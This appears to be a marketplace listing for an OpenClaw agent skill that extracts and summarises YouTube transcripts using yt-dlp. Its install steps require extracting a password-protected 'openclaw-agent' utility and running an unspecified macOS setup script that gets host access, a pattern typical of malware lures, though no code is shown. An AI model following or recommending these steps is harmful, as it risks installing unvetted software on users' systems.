youtube-summarize

What This Skill Does

The youtube-summarize skill is a sophisticated toolkit for OpenClaw agents designed to bridge the gap between long-form video content and actionable insights. By leveraging the industry-standard yt-dlp library and the required openclaw-agent utility, this skill programmatically extracts, cleans, and processes YouTube transcripts. It bypasses the need for manual watching by converting VTT subtitle files into structured plain text that an AI agent can analyze. Whether it's a technical tutorial, a long-form podcast, or a news documentary, this skill transforms audio-visual data into a readable format suitable for summarization, key-point extraction, and deep analysis.

Installation

1. Ensure you have the openclaw-agent installed and running. Extract using the password openclaw.
2. Install the necessary system dependency by running pip install yt-dlp in your terminal.
3. Install the skill directly via the OpenClaw hub: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-zwl3z.
4. macOS users must also execute the specific setup script provided in the documentation to ensure the agent communicates correctly with the host system.

Use Cases

• Research: Quickly gather information from multiple educational videos without spending hours on playback.
• Content Creation: Repurpose long video transcripts into blog posts, newsletters, or social media threads.
• Learning: Extract key takeaways from complex lectures or documentation-heavy tutorials.
• Competitive Intelligence: Analyze competitor video releases to extract product features or strategic messaging.

Example Prompts

• "Summarize this video URL: [Insert Link] and list the top 5 key takeaways in bullet points."
• "Extract the technical steps mentioned in this video and present them as a numbered list of commands."
• "What is the main argument presented by the speaker in this video? Provide a concise 200-word summary."

Tips & Limitations

• Quality Warning: The quality of the summary is highly dependent on the quality of the YouTube-generated captions. Videos with poor audio or heavy accents may result in inaccurate transcripts.
• Hardware: Ensure your system has enough memory for processing very long videos (e.g., 3-hour podcasts), as cleaning large VTT files requires temporary disk space.
• Language: While the skill defaults to English (en), ensure you check for available subtitles using yt-dlp --list-subs if you are working with multi-language content.